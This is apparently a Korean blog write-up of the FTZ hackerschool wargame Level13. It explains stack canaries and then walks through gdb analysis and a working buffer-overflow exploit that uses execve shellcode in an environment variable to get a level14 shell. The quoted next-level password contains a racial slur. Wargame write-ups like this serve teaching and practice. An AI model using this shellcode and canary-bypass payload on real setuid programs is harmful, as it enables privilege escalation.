본문으로 바로가기

Level13 문제 해결 ( 스택 가드 )

category Security/리버싱 2017. 12. 6. 21:44

ftz.hackerschool.org의 이미지를 받아 실습했습니다. 


- Level13

level13 / have no clue



- 스택 가드 (SG, Stack Guard ) 

스택 가드란, 해당 프로그램 구동시 Stack 상에 일정한 주소번지에 프로그램이 선언한 canary를 심어 두어, 스택의 변조 된 경우에, canary를 체크하여 프로그램이 비정상적으로 종료 시키는 기법이다. 

( 버퍼 오버플로우는 사실 개발자의 실수로 부터 생겨난다. 하지만 오픈소스의 경우 소스를 가져다가 쓰기 때문에 취약한 코딩으로 되어 있으면 소스를 모두 분석해서  고쳐야 하는데 쉬운 일이 아니다. 하지만 스택 가드는 변수를 하나 더 만들고 그 값이 변경되었는지만 판단하면 되기 때문에 간단히 버퍼 오버플로우를 해결 할 수 있다.)


- 스택 쉴드 (SS, Stack Shield )

스텍 쉴드는 함수의 리턴 주소를 복사하여 실제 리턴 주소를 참조하지 않고 복사된 함수의 리턴 주소를 사용하는 방식이다. 

실제 리턴 주소와 복사된 주소는 참조되지 않으므로 리턴 주소를 변조하는 것이 불가능하다. 

하지만 안전한 장소로 함수의 리턴 주소를 복사하는 과정에서 프로그램의 성능이 다소 떨어질 수 있다. 


[level13@ftz level13]$ ls -l

 

 합계 28

-rwsr-x---    1 level14  level13     13953  3월  8  2003 attackme

-rw-r-----    1 root     level13       258  3월  8  2003 hint

drwxr-xr-x    2 root     level13      4096  2월 24  2002 public_html

drwxrwxr-x    2 root     level13      4096  1월 11  2009 tmp

 


[level13@ftz level13]$ cat hint

 

 #include <stdlib.h>


main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];


   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);


   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}

 

> 여기선 i가 변하면 프로그램을 종료한다. 

> 쉘을 띄우는 구문이 없으므로 쉘코드를 사용해야 한다. 


level13@ftz level13]$ cp attackme ./tmp

[level13@ftz level13]$ cd tmp


[level13@ftz tmp]$ gdb -q attackme

 

 (gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>:    push   %ebp

0x080484a1 <main+1>:    mov    %esp,%ebp

0x080484a3 <main+3>:    sub    $0x418,%esp

0x080484a9 <main+9>:    movl   $0x1234567,0xfffffff4(%ebp)

0x080484b0 <main+16>:   sub    $0x8,%esp

0x080484b3 <main+19>:   push   $0xc16

0x080484b8 <main+24>:   push   $0xc16

0x080484bd <main+29>:   call   0x8048370 <setreuid>

0x080484c2 <main+34>:   add    $0x10,%esp

0x080484c5 <main+37>:   cmpl   $0x1,0x8(%ebp)

0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

0x080484cb <main+43>:   sub    $0x8,%esp

0x080484ce <main+46>:   mov    0xc(%ebp),%eax

0x080484d1 <main+49>:   add    $0x4,%eax

0x080484d4 <main+52>:   pushl  (%eax)

0x080484d6 <main+54>:   lea    0xfffffbe8(%ebp),%eax

0x080484dc <main+60>:   push   %eax

0x080484dd <main+61>:   call   0x8048390 <strcpy>

0x080484e2 <main+66>:   add    $0x10,%esp

0x080484e5 <main+69>:   cmpl   $0x1234567,0xfffffff4(%ebp)

0x080484ec <main+76>:   je     0x804850d <main+109>

0x080484ee <main+78>:   sub    $0xc,%esp

---Type <return> to continue, or q <return> to quit---

0x080484f1 <main+81>:   push   $0x80485a0

0x080484f6 <main+86>:   call   0x8048360 <printf>

0x080484fb <main+91>:   add    $0x10,%esp

0x080484fe <main+94>:   sub    $0x8,%esp

0x08048501 <main+97>:   push   $0xb

0x08048503 <main+99>:   push   $0x0

0x08048505 <main+101>:  call   0x8048380 <kill>

0x0804850a <main+106>:  add    $0x10,%esp

0x0804850d <main+109>:  leave

0x0804850e <main+110>:  ret

0x0804850f <main+111>:  nop

End of assembler dump.


 

> 변수의 공간이 418 ( 1048 ) 이다. 변수는 1024 bytes인 buf와 4bytes 인 i 이고 나머지는 다 더미 공간이다. 

> 더미 공간이 어떻게 분포 되어 있는지 확인한다. 


 

(gdb) b *0x080484e5

Breakpoint 1 at 0x80484e5

(gdb) run $(perl -e 'print "A"x1024')

Starting program: /home/level13/tmp/attackme $(perl -e 'print "A"x1024')


Breakpoint 1, 0x080484e5 in main ()

(gdb) x/262x $esp
0xbfffe7d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffe7e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffe7f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffe800:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffe810:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffe820:     0x41414141      0x41414141      0x41414141      0x41414141
....... 생략 ......
---Type <return> to continue, or q <return> to quit---
0xbfffeab0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeac0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffead0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeae0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeaf0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffeba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffebb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffebc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffebd0:     0x08048300      0x42130a14      0xbfffebe8      0x01234567
0xbfffebe0:     0x4200af84      0x42130a14

 

> buf를 A로 다 체우고 i의 값인 0x1234567 을 찾아서 그 사이에 값이 안들어간 공간은 더미 공간이다. 

> buf와 i 사이의 더미 공간은 12 bytes 이다. 

> 총 1048bytes 에서 1024와 4, 12를 빼면 8bytes가 남는데 이 값은 자연히 i 와 SFP 사이의 더미 공간이 될 것이다. 


 

 buf

dummy 

 

dummy 

SFP 

RET 

.... 

 

 

1024 

12 

4 

8 

4 

4 

.... 

 


 

(gdb) run AAAA

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/level13/tmp/attackme AAAA


Breakpoint 1, 0x080484e5 in main ()

(gdb) x/4x $esp

0xbfffeb50:     0x41414141      0x00000000      0x00000000      0x00000000


 

> 역시 프로그램을 다시 돌리니 buf 스택의 주소가 바뀌었다. -> 쉘코드를 buf에 넣고 return 할 수 없다. 주소가 계속 바뀐다. 


level12 와 같이 준비한다. 


[level13@ftz tmp]$ export SHELLCODE=`perl -e 'print "\x90"x200,"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


[level13@ftz tmp]$ vi getenv.c

 

 #include <stdio.h>


int main(int argc ,char *argv[])

{

        printf("ADDR=%p\n",getenv(argv[1]));

        return 0;

}

 


[level13@ftz tmp]$ gcc -o getenv getenv.c

[level13@ftz level13]$ cd

[level13@ftz level13]$ ./tmp/getenv SHELLCODE

 

 ADDR=0xbffffb72

 


[level13@ftz level13]$./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","A"x12,"\x72\xfb\xff\xbf"')

 

 sh-2.05b$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".

 

> i 위치만 잘 알고 그 자리에 01234567만 넣어주고 ret 자리엔 쉘코드 주소를 적어주면 풀 수 있다.